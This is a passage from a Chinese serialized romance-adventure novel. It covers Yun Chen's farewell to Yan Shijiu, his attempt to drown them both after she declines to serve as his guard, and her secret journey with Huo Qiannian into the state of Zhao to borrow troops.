抓住这个弱点,颜十九开始大举率军进攻,专挑最暑热的天,日头最大、连狗都不出门的中午出兵。
这剑走偏锋的歪招十分管用,竟一直将黑鳞骑兵打退到边境线。
在楠国大部分边境陷入艰难战火的局势下,颜十九据守的东南部,最先传来击退敌军的捷报。
反观霍乾念这边,他空有一个巡司大都督的官职,借的三千步兵阵亡了大部分,带出来的霍帮护卫也几乎在林中被黑鳞骑兵杀绝。
除了四个亲卫,几百个守城将士,霍乾念手边根本没有可堪一战的队伍。
再加上颜十九兵强马壮,根本轮不到霍帮人上场。
于是,霍乾念上书一封,自荐为将。
可书函进了东宫,却如石沉大海,没有回音。
每日,固英城的营地安静空荡,将士们无聊地晒太阳、擦刀剑盔甲;
隔壁的营地却动不动就响起嘹亮的号角声,要么铁蹄如沸,乌泱泱奔向战场,要么得胜回营,喝酒起舞一整夜。
颜十九带兵在战场拼杀,日日都是齐头齐整地出去,一身浓浓硝烟味道、疲累又凌乱地回来。
霍乾念和叶峮几人则日日窝在帐篷里吃了睡,睡了吃,就差养得白白胖胖的,处境颇为尴尬。
被晾在一边的滋味不好受,颜十九心知肚明,故意只与云琛说话,对其他人一概不搭理。
每次出营前,颜十九都会精神抖擞地跑到帐篷门口,喊一句“小云云,我去打仗啦!你乖乖等我回营!”
每次得胜归来,颜十九还要拉着云琛吃喝庆祝一番,在主帅大帐里举杯对饮,喝酒到半夜。
这些日子,叶峮一直瞧着霍乾念的脸色,直瞧到他心里发毛,根本不敢再抬一下眼皮子为止。
不言不高兴地嘟囔:“妈的!这颜十九不就挺会打仗吗?不就手里有兵吗?不就刚被东宫封了拂晓将军吗?不就阿琛认他这个朋友愿意给他几分面子吗?他娘的,有点功绩在身上,恨不得叫唤得全城的驴都知道!真让人受窝囊气!”
此话一出,叶峮明显感觉到帐篷里气温骤降,环顾其他几人脸色,十分想把袜子脱下来塞不言嘴里。
花绝本来在吃颜十九送给云琛的人参果,顿时吃不下去了,将果子往地上狠狠一扔,骂了句“狗日的颜十九”,泄愤完,又将果子捡起来擦擦,重新塞进嘴里。
云琛在一旁整理衣襟,正准备着第三十三次去颜十九帐篷赴小宴。
霍乾念则面朝里躺在榻上,一声不吭,一动也不动。
叶峮看看准备“出门约会”的云琛,又看看浑身都散发着幽怨气息的霍乾念,忍不住开口:
“阿琛,那个……颜十九总喊你,但你也不必每次都去,给他几次面子就成了。”
云琛道:
“他今儿不光叫我吃饭,还叫我去看新俘虏的一个黑鳞骑兵,我想仔细看看那黑鳞铠甲,他日总要相见,我想寻寻铠甲破绽。”
这下叶峮也没话说了,倒是不言来了兴趣,叫道:
“能不能也带我看看?上回我银丝绕那黑鳞骑兵的脖子,被那破铠甲扎得到处冒血。这玩意儿那么锋利,我好奇他们怎么穿在身上的。”
云琛想都没想就答应了,“走呗,一同吃饭,吃完一同去看黑鳞铠甲,颜十九很大方,不会介意的。”
叶峮缩了缩脖子,没有吭声。
不言还真就大大咧咧跟着云琛去了,几个时辰之后回来,进帐篷第一句就是:
“你们还别说,颜十九人还怪好咧!挺和善的!”
叶峮用眼角瞟了眼已满脸黑云的霍乾念,二话不说就开始脱袜子。
接下来的时间,不言开始和云琛一起进进出出。
而且不言不光自己去,回来还要给叶峮和花绝炫耀一番晚上吃的啥好菜,在东炎军中又见到了什么好玩意。
一日回来,不言带了本书,是关于火弹机关的制造之法。
叶峮挺感兴趣,可惜不言只带回来上半本,下半本还在颜十九那里。
于是,在霍乾念几乎能滴出墨水的脸色下,叶峮也加入了“进进出出”的队伍。
帐篷里成日只剩霍乾念冷脸坐着,闷闷地啃干饼,花绝在一旁骂骂咧咧,没完没了地啃果子。
十天之后。
当一封又一封捷报从固英城传向京都皇宫时,一封东宫斥令却逆行穿过雪花纷飞似的捷报,飞向固英城,令所有人哗然变色。
东宫令斥责霍乾念追剿玉阳基时不顾法度,不该贸然深入边境。
还斥责霍乾念战前拖沓,犹豫不决,致使固英城差点失守,将士们伤亡惨重。
甚至还有玄甲军上书弹劾霍乾念言而无信,借步兵三千却不归还,害三千将士客死他乡。
这令一出,霍帮几人再在固英城内外行走,都觉抬不起头来。
原本奔来固英城驰援的六百霍帮护卫,气得直接改道烟城,不必再来。
大家既气愤东宫竟完全不管霍帮付出了多大代价,不顾这些年霍帮如何流血牺牲,才终于清除玉家党,甚至不管霍乾念重伤昏迷那么久,醒来第一件事就是领兵守城,同时也替霍乾念感到羞辱和不值。
“少主,干脆我们回京都吧!”
“回什么京都!直接回烟城!不管这东宫令是公主下的还是丞相下的,可见非我等之主!少主,我们回烟城老家待着吧!专心经营霍帮堂口!不管其他!”
第178章 做我的护卫吧
霍帮要回烟城了。
对霍帮的人来说,固英城不是什么吉祥地,巴不得走得越快越好。
不到一日功夫,所有车马行程都已打点妥当。
看在云琛的面子上,一干行路物资,都由颜十九从他的粮草库无偿拨付。
唯一的条件就是和云琛好好告个别。
连吃饭带聊天的那种。
完事还要单独去距营地八十多里的一个什么白鸟湖玩一圈。
于是,叶峮和不言已整装待发,马匹都套好缰绳,霍阾玉也被花绝塞进马车里,却都停在原地等云琛。
毕竟所有东西都是靠云琛“卖面子”换来的,没人好意思有怨言。
只是霍乾念浑身都散发着数九寒气,从头到脸,从心口到脚后跟,全都冷得像冰,完全不像和周围人一个季节似的,看得屠狼驹都重重叹了口气。
另一边,颜十九与云琛赛马飞奔,一路上你追我赶,跟参加什么骑马比赛似的,互不相让,跑到一处风景优美的山坳。
两人气喘吁吁地停下来。
云琛喘着粗气问:
“这……这就是你说的给我送别?有……有必要送这么激烈吗?”
颜十九靠着马大喘气,扯嘴坏笑:
“我就喜欢……激烈的,和你,越激烈越好……”
云琛没说话,一马鞭子过去。
幸亏颜十九躲得快,不然差一点点就被抽到嘴上。
他抬手握住飞来的马鞭,扯着她往山坳里面走。
只见三山环抱之中,一汪绿幽幽的湖水如宝石镶嵌,夏风吹来湖水清凉,十分惬意。
二人走到湖畔,颜十九跳进浅水滩,从灌木丛里拖出一只小船。
一见那小船,云琛立刻摆手三连:
“不不不!坐船就不必了!告别送行到这个程度就可以!就没必要送我去见阎王爷了!”
颜十九哈哈大笑,知道这船显然勾起了云琛某些不太愉快的记忆。
“这是湖,没风没浪的,放心!”
看着颜十九又拍拍胸脯保证的样子,云琛心里更毛了。
再看这湖水,岸边尚还清浅,往里却变得幽绿,必然很深。
云琛虽然是潜水闭气的行家,可毕竟不是王八,遇到这种发绿的水也是惧的。
颜十九一脚踩在船上,另一只脚还站在水里,衣袍下摆和裤子靴子全都湿了。
他浑不在意,将手伸向云琛,作邀请状:
“相信我,有我在,不会有事。”
犹豫片刻,仰头说了句“天爷保佑”,云琛握住他的手,跃上小船,倒没有弄湿衣裳。
“这是我第一次牵你的手。”颜十九突然轻声地说,语气甚至有些怅然。
云琛翻个白眼,一屁股坐进船里,舒服地半躺半靠在船边,完全一副对他不设防的样子,道:
“还有‘第一次打破你的头’,想不想试试?”
颜十九大笑两声,开始划船。
云琛也笑起,“你这狗东西,一日不腌臜我都难受!”
颜十九得意地摇头晃脑,“那是自然,我一日不见你都不行。”而后又正经起语气:
“小云云,做我颜十九的护卫,好不好?”
云琛躺在船上晒太阳,舒服得眼睛都眯了起来,像一只慵懒的白猫,慢悠悠道:
“我拿你当兄弟,你却想要我命?跟着你打黑鳞骑兵,你巴不得我早点死啊?”
颜十九嬉皮笑脸道:“只让你做我的贴身护卫,不上战场,不动刀剑,每日陪吃陪喝就好,若你愿意,陪睡也肯的。”
云琛啧啧摇头:“万宸他们每日都这么辛苦?做你颜十九的护卫要求太高了,我干不来。”
“可做霍帮的护卫也很辛苦,若没有我这次带来那么多秦艽玉颜脂,你身上要留大疤痕的。”
“所以我不已经说过‘谢谢’了嘛?咋的,你还要跟我亲兄弟明算账?”
“当然要算,凭什么不算?”
“行行行,反正我虱子多了不怕咬,债多了不愁。你尽管算,欠你的全记账。”
“也可以不算,不记账。夫妻之间就不用算这么清楚。”
“你要和我乱伦?”
“你有病?!我和你哪有血缘?!”
“我们不是兄弟吗?”
“云琛!你是女的!!”
“你记错了,我是男人。”
“我在和你说正经的!你到底为什么非要留在霍帮?”
“因为我喜欢霍乾念呀!”
明明是玩笑话,和平常一样开心地打嘴巴仗。
可随着云琛最后一句话出来,颜十九瞬间脸色一变,嘴巴抿成一条线,再没有一丝笑容。
云琛也腾地坐起身,神情有点紧张地看着颜十九,试探着开口:
“瞧你这反应,你该不会……也喜欢我家少主吧??”
颜十九被噎得两眼一翻,差点栽进湖里,可看着她认真说冷笑话的表情,他又忍不住无奈发笑。
“喜欢?若不是不想他死在黑鳞骑兵手里,我才不来固英城!累得要死!我早晚让他死我手里!”
云琛脸色一沉,“颜十九,你最好是在开玩笑!”
感觉到云琛身上瞬间发出的警戒和防备,颜十九真恨不得现在就冲回营地杀了霍乾念。
可他还是露出个漫不经心的表情,鄙夷道:
“你在想什么?我说的第二个‘他’,是黑鳞骑兵的首领将军焦左泰!那厮将黑鳞骑兵统领的狠辣又剽悍,我早晚弄死他!”
云琛暗暗松了口气,这前后反应被颜十九看在眼里,气得他将船桨一扔,一副破罐子破摔的样子,直挺挺往船上一趟,嚷嚷道:
“你以为我要杀霍乾念?你怀疑我?行,谁爱划谁划,真心全喂了狗,青春也喂了狗,小爷我不伺候了!”
知道是自己太敏感,错怪颜十九了,云琛有点不好意思,只能露出讨好的笑容,拿过船桨用力划:
“我来我来,大爷您歇着就好!”
刚划了没两下,颜十九又爬起来夺过船桨,没好气道:
“你胳膊的伤还没好!一边儿待着去!”
说着他气鼓鼓地拿桨划船,拍打起水花四溅,全部泼在了云琛脸上。
云琛慢慢抹了把脸上的水,幽幽道:
“别拍了,这水好咸……”
颜十九终于面色破冰,毫无形象地放声大笑起来。
云琛吁了口气,重新躺回去。
“云琛,做我的护卫吧。”颜十九又说。
第179章 同归于尽
又又又!
云琛皱眉,正想不耐烦,不知道颜十九为啥又提这茬,却见他脸上没有任何玩笑的意思,无比认真……又恳求地望着她。
颜十九成天到晚玩世不恭没个正形,一旦他露出这种罕见的正经表情,云琛就知道他是来真的。
看来方才他不是玩笑,云琛思索该怎么出口拒绝。
这时,颜十九停止划桨,将船停在了湖水中央。
水已从幽绿色变成漆黑,隐约可见水下有断崖。
他们的船就悬停在深不见底的崖外,看起来很危险。
“云琛,你想好,我再问一次。”颜十九直视着云琛,语气严肃:
“离开霍乾念,到我身边来。做我的护卫。”
她有点无奈,“你为什么非要我给你当护卫?理由是什么?”
“欣赏,敬佩。”颜十九说,“或者你就当我和京都所有达官显贵一样,特想有‘玄都护卫’来给我撑面子,行吗?”
“我不信这理由。”她眉眼间也浮现当真的神色,“到底什么原因,请你说实话。”
大概是“请”这个客气又陌生的字眼,刺激到了颜十九。
他眼神幽暗下来,语气忽然变得森冷:
“因为你只有跟着我,才能活。”
云琛无法听懂这句话里饱含的深意,她看了眼水下深不见底的悬崖,如一张静静张开、等着猎物掉下去的怪物巨口。
想了想,她郑重地说:
“我认可你的理由。但颜十九,我娘教过我,‘恩’者,惠也,从心。鸟也虽顽,犹识旧恩。我因寻恩而得少主大恩,便认少主为主。我虽不是什么大人物,但蜂虫尚知忠主,我亦如此,便危身奉上,险不辞难。”
颜十九摇头,“别跟我提什么‘忠勇信义’,你喜欢霍乾念,所以留在他身边,对吗?”
云琛眼里有一闪而过的失望,“喜欢是喜欢,忠恩是忠恩。就算这二者都没有,我也想留在霍帮,和我的兄弟们在一起。我云琛只属于我自己,不属于霍乾念,也不属于任何人。”
“那如果霍乾念死了呢?”
“要么我随他同去,要么,我一辈子记着他,直到寻到当年的恩主,得恩主首肯,我再自尽。这样便是忠义两全。”
颜十九深深皱眉。
他不懂云琛的话,每一个字都听得懂,但连在一起,他就不懂了。
他觉得云琛只是为留在霍乾念身边找借口。
他不懂云琛本身就喜欢这天高海阔,就像鱼儿永远不懂飞鸟为何喜欢烈日高空。
“所以你是在拒绝我,对吗?”颜十九声音低沉又带点威胁,“我劝你想好了再回答。”
没有任何犹豫,云琛道:“抱歉,我不想做你的护卫。”
话音落下,颜十九随即面无表情地朝她猛扑过来。
毫无防备地,他一把抱住她,倾身翻下小船。
在即将落水的一瞬间,她听见颜十九对着她的耳朵说:
“既然如此,那我们死在一起吧!”
颜十九紧紧箍着她的身子,直直往黑暗的水底深渊沉去。
云琛被压得动弹不得,抬脚就踹颜十九,想骂他又犯神经病,张口却喝下好几口水。
快速的下沉让云琛脑袋眩晕,耳朵里轰鸣作响,鼻子也开始冒血,很快便晕死过去。
视线的最后,她看见颜十九刀削一般锋利的下颌线,高挺的鼻梁,还有那一脸她从未见过的阴冷和无情。
不知为何,那一瞬间,云琛相信他是真的要和她同归于尽。
云琛做了个很深很深的梦。
她梦见颜十九面对着她,站在悬崖边上,一只脚都已经迈了出去。
她拼命大喊“回来!别跳!”可颜十九只是冲着她悲伤地笑,而后轻轻拽动手中的绳索,缓缓后仰跌下。
绳索快速抽动,她这才发现绳索的另一端竟系在她的脚上。
她没命地往反方向冲,却怎么都跑不快。
只感觉身子一重,她整个人被大力拉扯向悬崖,却在即将掉落的瞬间被一双手托住。
颜十九威胁地望着她:
“云琛,想好了吗,要不要做我的护卫?”
她摇摇头,颜十九立刻两手松开,令她狠狠坠下悬崖。
巨大的失重感让她浑身一抽,猛地惊醒,叶峮正在她脸上方瞧着她,关心道:
“做噩梦了?”
霍乾念扶着她坐起身,她缓了好一会儿才从梦中抽离,感觉到马车的颠簸,反应过来这是在去烟城的路上了。
霍乾念和叶峮在车厢内守着她,不言在外面驾马;花绝带着霍阾玉在另一辆马车上。
她揉揉刺痛的脑袋,能尝到鼻腔里全是血味,咳嗽一阵,吐出半片水草,切齿问:
“颜十九呢?!”
叶峮道:“颜将军救了你之后,便去处理军务了。见你一直不醒,我们就干脆启程了。”
“救我??”云琛瞪大眼睛。
不言掀开车帘,探头道:
“是啊,多亏颜将军救了你。你说说你,身上伤都没有好彻底,为啥非要下水捞鱼?等伤好了再潜水呗!你一个水里的行家,竟然溺水,丢人不?多亏人家颜将军救你一命,这下好了,咱们欠人家的越来越多了!”
云琛直接气笑了,连连点头,自言自语道:
“好好好,狗东西,这么着急送我起程,是怕我醒了揍人吧?!下次见面,我若不把你脑袋打开花再放水里扎一百遍我就不姓云!”
听出云琛话里的意思,叶峮和不言面面相觑,同时看了快要“成魔”的霍乾念一眼,然后叶峮非常有眼色地借口“撒尿”,起身离开车厢。
出去的时候,叶峮还不忘将车帘仔细挂好,将那一大坨“黑魔气”牢牢关严,说句:
“车帘紧了,狂风都吹不开的,少主放心,啊不,阿琛你放心!”
叶峮觉得,“黑魔气”现下一定挫败极了,非常需要云琛的镇压,呸,是安慰。
云琛不停地咳嗽,将肺里的水咳出来,霍乾念一直帮她轻轻顺后背,而后将她搂进怀里,埋首在她颈间,一句话也不说。
她也不说话,只是脸蛋红扑扑的,很想躲一躲脖子里的发痒。
他从身后拥着她,抱一会儿,就要将手臂收紧两分,再抱一会儿,又要紧两分。
“我快......喘不过气了......”她故作声音嘶哑,一副快要不行的样子。
他仍埋在她颈间,轻声笑起,气息更挠得她发痒想笑。
他抬起头,眼神微亮地望着她,高兴道:
“终于要开始了。”
她也颇为兴奋,目光望向车帘,“那就先把你妹甩掉!”
第180章 昭国行
六月十三,月半弯。
一对十分惹眼的“兄弟”,出现在昭国最西的太白城。
这“兄弟”俩一高一矮,一宽肩一窄肩,一个冷面,一个热络脸。
二人皆是体态修长,气度不凡,一看就是有功夫在身的高手。
且衣着上乘却不华丽,出手阔绰却不露富,行事十分神秘低调。
只是那“兄弟”之中的“兄”,看起来似乎不太高兴,尤其在那“弟”开口称呼他的时候,他脸色十分不爽。
“霍大哥,你吃面条还是米饭?再来碗咸汤吧?”
“霍大哥,咱点个烤鸭尝尝吧!”
“霍大哥,有荔枝酒哎!来一坛!”
云琛肚子饿得咕咕叫,坐在食肆里,拿着食单点了一大堆。
霍乾念在旁边坐着,瞧她热闹点菜的样子,觉得甚为可爱,禁不住想弯唇。
可听她一声声喊他“霍大哥”,他又一点都笑不出来。
几日前,在由固英城回烟城的路上,霍乾念和云琛悄悄单独离开队伍。
叶峮和不言继续驾马,花绝则扮成霍乾念的样子,带着霍阾玉行路。
一见霍乾念和云琛要走,霍阾玉紧紧抱住云琛不肯撒手。
最后只得霍乾念一碗蒙汗药灌下去,两人才从霍阾玉手中逃脱。
结合在固英城时,面对颜十九百般挑衅的隐忍态度,加上东宫令不留情面的斥责,所有人都以为霍乾念灰溜溜地回烟城了。
实则,他与云琛肩负使命,暗中朝东而行,一路过城通关,越过楠国东境,从西进入了昭国。
因事关机密,牵连重大,二人必须乔装打扮才方便行路。
霍乾念提议与云琛扮作寻常年轻小夫妻的样子,云琛却说女子在外抛头露面太扎眼,她还是做男子装束最好。
眼瞅云琛又利索地换上长袍束腰的男子装扮,霍乾念心里有点失望。
二人都穿着男装,便只能假装兄弟。
霍乾念心里又高兴起来,正伸长了耳朵,等着听一声软软糯糯、羞羞怯怯的“哥哥”,谁知云琛张口就是一声字正腔圆的“霍大哥”。
字字铿锵有力,堂堂又正正,砸得霍乾念脑子发懵,所有粉红泡泡都幻灭了。
“霍大哥,快吃呀!”云琛又在喊。
霍乾念长长叹了口气,开始埋头扒饭。
云琛吃得快,吃完便将一张一尺见方的微缩地图摊在桌子上,开始查看接下来的路线。
昭国的地图十分有趣,从整个图上看,错落有致又浑然一体,是采用天象的三垣四象二十八宿进行布局的。
整个昭国按北、中、南三大部分,划分为紫薇洲、太微洲和天市洲。
洲中按东南西北的方位,设四大郡,分别为东方青龙郡、西方白虎郡、南方朱雀郡与北方玄武郡。
每郡辖七个重城,一共四郡二十八城。
国内其他繁华小城,也都以各星落为名。
据说,昭国的朝廷也是以左枢、少宰、上卫、少辅、三公等星宿,用作官职名称,建立起上下有序、阶级分明的皇权体系。
光是看这地图,云琛就对那昭国的皇帝颇为佩服,别的不说,这皇帝一定是个搞城市规划建设的好手。
再结合进昭国以来,沿途所见到的自由富庶的民生景象,百姓安居乐业,城镇商贸繁华,所有城、镇、乡与关口,皆有重兵把守,却不扰民。
只凭所见所闻,足以窥见昭国皇帝的九五圣明。
云琛指着地图上的轨迹,“接下来要走魁星城、彗星城、摇光城……”
霍乾念接道:“然后就是国都——天狼城。”
“昭国很小,我们大概再半个月就能到天狼城。”
“昭国从前是前朝封地,楠国三年独立成国的。”
“原来如此。”
霍乾念和云琛低声商量着行路的事情,却有一位身穿罗裙的小娘子,抱着琵琶走过来行礼,声如黄啼,清脆道:
“二位公子,今日疏风朗朗,小女子愿为二位公子弹唱一曲,公子可愿一听?”
云琛望着那姑娘面若银盘,柳眉弯弯,脸上涂了脂粉却很素雅清丽,一双眼睛柔情似水,不觉看呆。
直到霍乾念在她面前打了个响指,她才回过神。
那琵琶小娘子忍俊不禁,掩面一笑,问:
“二位公子是外乡人吧,楠国来的吗?”
霍乾念顿起戒心,眯眼仔细打量那琵琶小娘子。
云琛倒没觉出什么,一时被“美色”迷了眼,点头称是:
“姑娘怎么确定我们是楠国人?我们明明穿着昭国最时兴的衣裳,也没有什么口音,你何以确定?”
琵琶小娘子指着云琛摊在桌上的地图,笑道:
“我们昭国人从来不用地图,只要看着天上的星星,就知道往东南西北哪个方向走,断不会错。就是三岁孩童,也能识星寻路。二位拿着地图,新衣配旧靴,可不是外乡人嘛!”
云琛竖起大拇指表示佩服,霍乾念则面色微冷:
“就算知道我们是外乡人,你又怎知我们来自楠国?”
琵琶小娘子再次行礼,柔柔笑道:
“那敢问公子,小女子猜对了吗?若猜错了,无须公子破费,小女子自愿为二位公子唱一曲;若猜得对,还请公子赏一赏。”
原来是卖唱姑娘常用的小伎俩,蒙对就有赏,蒙不对也博君一笑,多少能讨点好。
云琛并不反感,忙将椅子拖出来,请那琵琶小娘子坐下,然后又坐回桌边,两眼冒星星地看着她。
那琵琶小娘子伸出水葱似的手指,拨动琴弦,声如珠玉落银盘,妩媚动人地唱起来,听得人骨头都快酥了。
见云琛听得入迷,眼睛都不眨一下地望着那琵琶小娘子,霍乾念一瞬间考虑要不要去报个才艺班,学个琴啥的。
“我竟不知你喜欢这些?”霍乾念靠近云琛,低声说。
云琛头都不带偏一下的,仍痴痴看着琵琶小娘子:
“你不觉得她很美吗?光是看着就赏心悦目,真高兴世上有这么多美人儿,便不觉得无味了。”
霍乾念挑眉,“这就把你的魂勾走了?”
“嘿嘿……”云琛傻傻地笑。
一曲罢了,霍乾念什么也没听清,光感觉满肚子泛酸水了。
他自己都觉得可笑,竟然连这种醋都吃。
云琛倒是意犹未尽,连忙拿出银子,双手捧给那小娘子。
小娘子并不去接,只低头浅笑。
云琛反应过来,赶紧将银子放在桌上,那小娘子才伸手拾进钱袋。
倒是个十分知礼的姑娘,瞧穿着、说话、处事,既聪慧又得体,拿的琵琶也不像是便宜货,霍乾念那刚刚放下的戒备心,又陡然升了起来。
他用审视的目光看着那琵琶小娘子,问:
“姑娘像是读过书的,不知为何委身市井卖唱?可是家道中落,有什么变故发生,才需如此讨生活?”
这大概是最常见的身世,经典的奸细伪装时惯用的身份。
谁知那小娘子只是莞尔一笑:
“小女子家中虽非权贵,却也是富户,不缺银钱,也没有变故。”
霍乾念追问:“那为何来卖唱?”
云琛接过话,答道:
“就……因为喜欢,不可以吗?”
霍乾念第一次有被“猪队友”拱了的感觉。
那小娘子却面露惊讶,看向云琛的眼神瞬间一亮。
全然没注意到霍乾念眼睛睁得溜圆、如临大敌的样子,云琛接着笑道:
“姑娘肯定不喜欢闷在屋子里,才出来唱曲的吧。真庆幸,姑娘没有什么难过的身世,这便是最完美的了。”
小娘子端正又郑重地行了一礼,眼神亮盈盈地说:
“小女子知罗,幸会公子。”
云琛抱拳行礼,正要报上姓名,却被霍乾念一把拉起,匆忙道:
“我等有要事在身,这就要行路——行得很远并且不再回来的那种,姑娘请自便!”
说罢,根本不管云琛如何,霍乾念立马半推半抱着云琛就离开食肆。
只留下那琵琶小娘子知罗站在原地,还目光不舍地望着云琛的背影。
云琛被霍乾念推上马,不解问:
“霍大哥,你怎么了?”
霍乾念并不回答,嘴角很不高兴地向下撇着,翻身上马,随即朝前跑去,云琛只得追上。
一路上,霍乾念将马鞭子抽得簌簌作响,马跑得脚不沾地。
云琛有些费力地跟着。
不明白霍乾念为啥突然情绪大变,但在他身边做了那么多年护卫,云琛早就习惯了,便也不说话,只默默跟在他后面。
就这么哑巴带火地赶了整整大半天的路,将到魁星城门口的时候,霍乾念突然一个勒马急刹,云琛差点撞上去。
她眨巴着明亮的大眼睛,关切地问:
“霍大哥,怎么了?有什么事吗?”
看着她跟没事人一样,那情窦是开不了一丁点的样子,霍乾念气得牙根疼。
他问:“咱俩到底什么关系?”
她以为问的是眼下在昭国的乔装,便道:
“不是……大哥和小弟吗?你是霍大哥,我是你云弟,不对吗?”
他闭了闭眼,生生咽下喉头血。
好一个“云弟”!好特娘的“云弟”!
他不再说话,只纵马入城去寻客栈,脸色比那快入夜的天还要黑。
她莫名其妙地挠挠头,不知自己又哪句话说错了。
第181章 该死的桶
越靠近昭国的国都天狼城,越见重兵把守城池,森严壁垒如铁铸。
霍乾念和云琛也终于知道,为什么昭国国土面积那么小,却能在楠国、东炎、番邦、游牧民族的夹缝中,太平生存几十年。
这么小的国家,有名有姓的在编将士竟有百万之巨。
家家户户但凡男丁降生,必从小习武耍刀枪,不论将来是否从军,习武都是必备的本事。
若一个男子不会几下拳脚功夫,那是要被人嗤笑的,做账房先生都没人要。
许多人家里甚至女子也习武,而且大有以此为荣的风气。
不敢想,若真有外敌来犯,昭国除了百万雄师,更男女老少妇孺皆兵,这战斗力该多么恐怖。
可若能令百姓甘愿为之战斗,说明昭国的皇帝必爱民如子,励精图治,是个了不起的皇帝。
霍乾念和云琛此行来昭国,便是要好好见一见这位了不起的皇帝。
当日在固英城中,表面上,一封东宫斥令压得人抬不起头;
实际上,一封东宫密令由南璃君身边最信任的暗卫,悄悄交到了霍乾念的手中。
信中,南璃君直言楠国必有奸细,甚至与丞相倪鲲脱不了干系,否则洛疆国、原大楚叛军、神秘的黑鳞骑兵,不可能如此巧合地同时向楠国发起进攻。
此番三国伐楠,必有人从中牵连筹谋。
除了霍乾念,南璃君谁也不信。
她要霍乾念揪出这个奸细叛徒,但眼下楠国军力皆被三方牵制,西边守军又远又动不得。
霍乾念必须要有自己的军队,才能在如今的楠国站稳脚跟。
去昭国借兵,是唯一的法子。
依南璃君所言,昭国的皇帝是已仙逝的皇后娘娘的故交,看在皇后娘娘的面子上,昭国不会拒绝。
若有诚意,昭国也许愿借十万兵力;若没诚意,借个两三万都成,总好过霍乾念现在手中一支小队都凑不出来。
只是为防宵小从中作乱,此事必须绝密进行,绝不可走漏一点风声。
除了南璃君本人,便只有霍乾念与云琛知道这计划。
如此,可以窥见南璃君在朝中是何等举步维艰。
为防借兵之事走漏风声,霍乾念和云琛一路乔装,躲避盘查和登记。
遇到严查通关的城镇,往往要避开官道,选偏僻无人的路径潜入。
眼下去天狼城,有一条水路最快。
一个月的陆上行程,走水路的话,七八天就能到。
为了躲避沿途官兵,霍乾念重金买通一艘货船,在倒数第二层货舱的最深处,定了一间货房居住。
云琛终于感受到和霍乾念这个楠国首富一起出门的好处了。
金银砸到位,鬼都能推磨。
明明是一艘简陋不起眼的普通货船。
明明从甲板上下来,得往深里走两层,还得在昏暗的走道里七扭八拐好一阵,才能腾出一间货房。
可船长硬是在巴掌大的货房里面整整齐齐铺好了天蚕丝的床榻、枕头、锦被、矮桌、小柜、茶壶......
一应起居用品俱全,完全是上等厢房的样子。
离货房不远处的地方,船长甚至还专门开辟了一个小隔间做净房,放着清水恭桶,更夸张地在桶里撒了玫瑰花瓣......
船长举着灯,将霍乾念和云琛引到货房,恭敬地问:
“二位可还满意?不知道二位日常用什么,小的都是捡最贵的东西买来。”
云琛打量小小货房,忍不住啧啧叹服:
“这可太满意了,麻雀虽小五脏俱全啊!连小人书都有?”
船长看了眼霍乾念,笑道:
“都是霍公子吩咐的,说怕您路上闷,买些书来看看。”
云琛拿起一本翻了两页,惊喜道:
“咦,怎么都是字少画多?怪有意思的!”
船长道:“霍公子说您不喜欢看字,特意嘱咐要有画的。”
“这怎么还有棉麻寝衣?”
“贵人有所不知,这个季节水路湿热得很,棉麻寝衣穿着不受潮,对身体好,是霍公子特意吩咐的。”
“还有瓜子?点心?乌梨酥?”
“是呢,柜子底下还有您爱喝的糯米酒,也是霍公子特意吩咐的”
“这桶是干啥的?”
“给您泡脚的,也是霍公子特意吩咐的。”
“还有窗户?”
“新凿开的小窗,很小,但可以透气,晚上能瞧见月亮,也是霍公子特意吩咐的,说是怕您太闷。”
问了一大圈下来,样样精致,全都是那位“霍公子”早早安排下的。
云琛没想到霍乾念一天忙着处理这信那函的,一大堆公事都忙不过来,还有空惦记这些小事。
做了这么多年护卫,什么恶劣的环境她都能适应,可霍乾念却舍不得她“适应”。
他一切心思从不宣之于口,只要能让她舒服些开心些,他都只做不说。
想到这里,云琛心里暖暖的,却见那“霍公子”完全不理会她和船长,没什么表情地走进货房躺下,自顾拿起一本小人书翻看。
根本不知道霍乾念在气什么,恼什么,云琛只连连谢过船长。
船长随即放下灯盏,关好房门,一边往外走,一边道:
“二位公子,这水路也常有水兵巡逻,我得用货物将通道堵起来,将货舱锁上。得辛苦二位忍一忍,别着急出来。等没有巡逻的时候,我会来给二位开锁,可以到甲板上散步。”
“没事,我俩也没什么事,不出去。”
云琛说完,走进货房,这才发现里面只有一张床榻,连个坐的椅子都没有,她赶紧叫住那船长:
“怎么只有一张榻?一床被?”
船长头也不回地回答:“那也是霍公子特意吩咐的!一张榻就够啦!”
远处传来关门落锁的声音,将云琛所有话都堵了回去。
她转头去看霍乾念,却见他正长腿舒展地躺在榻上,一本正经地在看《狸猫娶亲记》,完全没有要搭理她的样子。
货房太小,只有一张榻,还被他占了。
没办法,她只得将那个泡脚桶搬出来,倒扣在地上,当做小凳子坐。
他放下书,一眼就看见云琛乖巧老实地坐在那个该死的泡脚桶上,眨巴着单纯的大眼睛看着他。
他腾地坐起身,瞪着她不说话。
简直都要气笑了!
所有能坐的东西,他都没让船长买,就为了让她自觉上榻!
可谁能想到她会搬泡脚桶出来扣着坐??
“唉……”
他长长哀叹一声,放弃似的躺倒,将《狸猫娶亲记》盖在脸上。
她关心地问:
“霍大哥,你怎么了,这一路过来总是叹气,有什么心事吗?”
沉默片刻,他勾勾手指,声音闷闷地从书后面传来:
“你过来,我悄悄告诉你。”
她不解:“不必了吧,这周围没人,货舱也十分隔音,你可以大声说话。”
他没好气道:“你还知道没有旁人?那还‘霍大哥’地叫个不停?”
她不好意思地挠挠头,“这几天叫习惯了——少主。”
“……”
他感觉自己差点被噎得饮恨西北。
“琛儿,你真……真……”他这辈子甚少有说不出话的时候,想了半天才找到一个词:
“真绝,真的……”
第182章 浣花溪
完全不懂霍乾念在说什么,云琛爬上榻,想拿开他脸上的书,却被他长臂一勾,趁机揽住后腰。
他伸出骨节分明又白皙修长的手,慢慢将脸上的书拿开。
一双凤眸闪烁不定,直勾勾看着她。
他的眼神带点玩笑戏弄,带点风流,又带点攻城略地的占有。
很少被他用这种眼神看着,她十分不自在,挣扎着想坐起身,偏巧这时货船起锚,震了一下,她瞬间载进他怀里,差点亲上去。
绝不会放过这个大好机会,他用力圈住她的身子,压向他自己,嘴角弯起一抹轻佻笑意,声音低沉又暧昧:
“怎么?开窍了?”
她红着脸挣扎,“少主在说什么?”
他怎可能放手,反而微微仰身,更加靠近她,眼神上下打量着她俏丽的脸:
一双受惊闪躲又害羞的眼睛,两片动不动就飞起红晕的瓷白脸颊。
最终目光落定在那张小巧艳丽的唇上。
什么味道来着?他尝得太少,已经忘了,再尝尝?
